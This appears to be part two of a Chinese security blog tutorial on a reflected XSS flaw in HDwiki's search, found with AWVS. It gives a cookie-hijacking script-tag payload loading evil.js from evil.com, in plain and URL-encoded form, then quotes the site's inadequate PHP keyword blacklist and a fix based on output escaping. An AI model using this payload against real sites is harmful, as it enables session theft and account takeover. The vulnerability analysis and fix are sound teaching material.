主页 > 网络知识 > AWVS漏洞扫描实战:HDwiki XSS漏洞发现、利用及修复(2)

AWVS漏洞扫描实战:HDwiki XSS漏洞发现、利用及修复(2)

 

AWVS漏洞扫描实战:HDwiki XSS漏洞发现、利用及修复

 

将POC代码替换为相应的攻击代码即可实现攻击目的。本次测试的攻击目的是利用该漏洞实现“Cookie劫持攻击”,于是构造攻击代码如下:

<ScRiPt src=http://www.52bug.cn/hkjs/http://www.evil.com/evil.js</sCripT>

经过URL编码后为:

%3c%53%63%52%69%50%74%20%73%72%63%3d%68%74%74%70%3a%2f%2f%77%77%77%2e%65%76%69%6c%2e%63%6f%6d%2f%65%76%69%6c%2e%6a%73%3e%3c%2f%73%43%72%69%70%54%3e

在HDwiki网站的高级搜索功能中输入编码后的攻击代码,可以发现攻击代码成功注入,页面发生跳转,并且服务器上多出了cookie.txt文件,从而成功盗取admin用户的cookie(前提是已使用admin账户进行登录),然后就可以利用盗取的Cookie进行登录。以上就是利用AVWS扫描发现漏洞,并利用漏洞实现“Cookie劫持攻击”的完整过程。

 

AWVS漏洞扫描实战:HDwiki XSS漏洞发现、利用及修复

 

 

AWVS漏洞扫描实战:HDwiki XSS漏洞发现、利用及修复

 

 

AWVS漏洞扫描实战:HDwiki XSS漏洞发现、利用及修复

 

下面分析漏洞出现的原因,通过刚才测试POC代码的过程可以知道,在使用网站提供的搜索功能进行搜索时,服务器返回的页面中可能被注入脚本代码,因为服务器并没有对用户输入的关键字做足够严格的检查,查看服务器端PHP源码可以发现,服务端使用了如下的代码对用户输入的关键字进行过滤,而这显然是不够的。

function checksecurity() { $check_array = array('get'=>array('cast', 'exec','show ','show/*','alter ','alter/*','create ','create/*','insert ','insert/*', 'select ','select/*','delete ','delete/*','update ', 'update/*','drop ','drop/*','truncate ','truncate/*','replace ','replace/*','union ','union/*','execute', 'from', 'declare', 'varchar', 'script', 'iframe', ';', '0x', '<', '>', '\', '%27', '%22', '(', ')'),); foreach ($check_array as $check_key=>$check_val) { if(!empty($this->$check_key)) { foreach($this->$check_key as $getvalue) { foreach ($check_val as $invalue) { if(stripos($getvalue, $invalue) !== false){ $this->notfound('page is not found!'); //exit('No Aceess!注意敏感词!'); } } } } } }

那么如何修复该XSS漏洞呢?修复XSS漏洞的有两个基本基本思路,过滤输入和过滤输出。首先分析过滤输入,对于用户搜索的输入框而言,网站并不能过滤太多数据,因为用户的输入具有不确定性,该网站的PHP源码中已经对很多的字符串进行了过滤,但是还是存在XSS漏洞,因此对于这个漏洞而言,过滤输入显然不合适,而是应该换另一个思路,过滤输出。在输出页面的过程,对可能存在的恶意代码进行转义显然是一个比较有效的方式,于是定位生成返回页面的PHP源码。

$title=htmlspecialchars(stripslashes($element['keyword']));$this->view->assign("title",$title);$this->view->assign("keyword",rawurlencode($element['keyword']));$this->view->assign("searchword",urlencode(string::hiconv($title,'utf-8')));$this->view->assign("search_tip_switch", $this->setting['search_tip_switch']);$this->view->assign('cloudsearch',$cloudsearch);$this->view->assign('categorylist',$categorylist);$this->view->assign("searchtext",$searchtext);$this->view->assign("list",$list);$this->view->assign("count",$count);$this->view->assign('navtitle',$this->view->lang['search'].'-'.stripslashes(stripslashes($element['keyword'])));$this->view->assign("departstr",$departstr);
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!